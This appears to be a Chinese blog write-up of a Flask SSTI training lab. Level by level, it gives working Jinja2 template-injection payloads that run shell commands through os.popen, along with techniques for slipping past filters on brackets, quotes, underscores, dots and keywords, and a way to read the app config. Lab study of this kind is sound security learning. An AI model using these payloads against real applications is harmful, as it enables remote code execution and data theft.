flask-ssti-labs训练笔记

该靶场来源于GitHub上的项目,下载看readme就好了

image-20250307130701829

主要界面如下

Level 1

没有任何waf,随意打

image-20250307130802462

payload:{{url_for.__globals__['os'].popen('cat flag').read()}}

Level 2

waf为过滤{{}},这也简单,用{%%}就好了

payload:{%print(url_for.__globals__['os'].popen('cat flag').read())%}

image-20250307135317687

ok,就这样。

Level 3

第三题提示no waf and blind

no waf,那就试试第一题的payload{{url_for.__globals__['os'].popen('cat flag').read()}}

image-20250308145105394

没有这个回显,那么尝试把flag写入一个文件里,payload为

1
{{url_for.__globals__['os'].popen('echo `cat flag` > 1.txt').read()}}

这样文件就写到1.txt文件里了,因为是本地文件访问不到,所以不展示了。

Level 4

waf为bl[‘[’, ‘]’],限制了方括号,那该如何绕过

因为上述的payload的方括号都是只有在['os']处有,而这部分又可以替换成.os.所以第一种payload为{{url_for.__globals__.os.popen('cat flag').read()}}

但是因为有些时候不能用类似url_for这类函数,而要从基类开始,不可避免的使用[],如用__subclasses__()[]时,那这时候就要用另外的绕过方式。

在 Python 中,__getitem__ 是一个特殊方法,用于实现对象的索引访问(例如 obj[117]等同于obj.__getitem__(117)),或者用.pop()函数也是可以的,这些都是适用于索引的方法。

  • 在Python中,obj[index] 实际上是调用了 obj.__getitem__(index) 方法。因此,可以通过直接调用 __getitem__ 来绕过方括号的限制。例如:__subclasses__()[117] 可以替换为 __subclasses__().__getitem__(117)

  • pop() 方法可以用于从列表中移除并返回指定索引的元素。例如:__subclasses__()[117] 可以替换为 __subclasses__().pop(117)

Level 5

waf为bl[‘’', ‘"’],过滤单引号双引号。

request.arg来绕过

payload为{{url_for.__globals__.os.popen(request.args.a).read()}}然后GET请求a='cat flag'image-20250308162612052

image-20250308162630618

但有点奇怪,我用cat flag报错了,于是演示用的是ls

下面是request方法绕过:

request.args.key 获取get传入的参数

request.form.key 获取post传入的参数

request.values.key 获取所有参数,get和post有同一个参数,post的参数会覆盖get

request.cookies.key 获取cookies传入参数

request.header.key 获取请求头请求传参

request.data 获取post传参(Content-Type:a/b)

request.json 获取post传入json参数(Content-Type:application/json)

Level 6

waf为bl[‘_’],过滤下划线。

这道题同样可以用上述方法绕过。

payload为{{lipsum[request.args.a].os.popen('cat flag').read()}},GET请求为?a=__globals__

image-20250308163947043

或者用hex ,unicode编码也行,payload为{{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('cat flag').read()}}

注:\x5f要记得写两个,以及别忘了单引号。

Level 7

waf为bl[‘.’]

.被过滤了可以用方括号代替,payload为{{lipsum['__globals__']['os']['popen']('cat flag')['read']()}}

Level 8

waf为bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”],过滤挺多东西的,像这种过滤字母的一般都用[‘ ‘+’ ‘]过滤。

payload为{{url_for['__glo'+'bals__']['os']['pop'+'en']('cat flag').read()}}

注:不要加点,如果有时候payload行不通可以看一下把点换了有没有效果。

Level 9

waf为bl[‘0-9’],过滤数字。

像用这样的函数的payload,里面没有数字,就可以直接用了

payload为{{url_for.__globals__['os'].popen('cat flag').read()}}

Level 10

waf为set config = None,题目要求获得config

先试试{{config}}image-20250309194506299

没有回显,这里可以对比一下之前的image-20250309194601277

可以看到应该是把这个config设为空值,那么如何获取这个config呢?

可以通过 current_app取config,current_app 是 Flask 中的一个代理对象,表示当前的应用上下文,可以通过它访问应用的配置。

payload为{{url_for.__globals__['current_app'].config}}image-20250309202505985

注:这里函数不能用lipsum,因为在{{lipsum.__globals__}}里没有current_app

Level 11

waf为bl[‘’', ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’],过滤了单双引号、加号、request、点、方括号,更难绕过了。

ban 了 ' " request思考如何返回字符串? 可以通过 |join 过滤器将列表拼接成字符串。

ban 了 . []如何取属性 ? 可以通过 |attr() 过滤器来访问属性。

**如何取键值 ? ** 可以通过 __getitem__ 方法来访问键值。这个在Level 4中也有提。

最后通过 {% set %}|join 过滤器,动态构造需要的字符串(如 __globals__ospopen 等)。

payload为

1
2
3
4
5
6
7
{%set a=dict(__glo=a,bals__=a)|join%}//a无意义,只是占位符
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(pop=a,en=a)|join%}
{%set d=dict(l=a,s=a)|join%}
{%set e=dict(re=a,ad=a)|join%}
{%set f=dict(__ge=a,titem__=a)|join%}
{{lipsum|attr(a)|attr(f)(b)|attr(c)(d)|attr(e)()}}

直接全粘贴上去就好了

Level 12

待更新。。


flask-ssti-labs训练笔记
http://example.com/2025/03/07/flask-ssti-labs训练笔记/
作者
yuhua
发布于
2025年3月7日
许可协议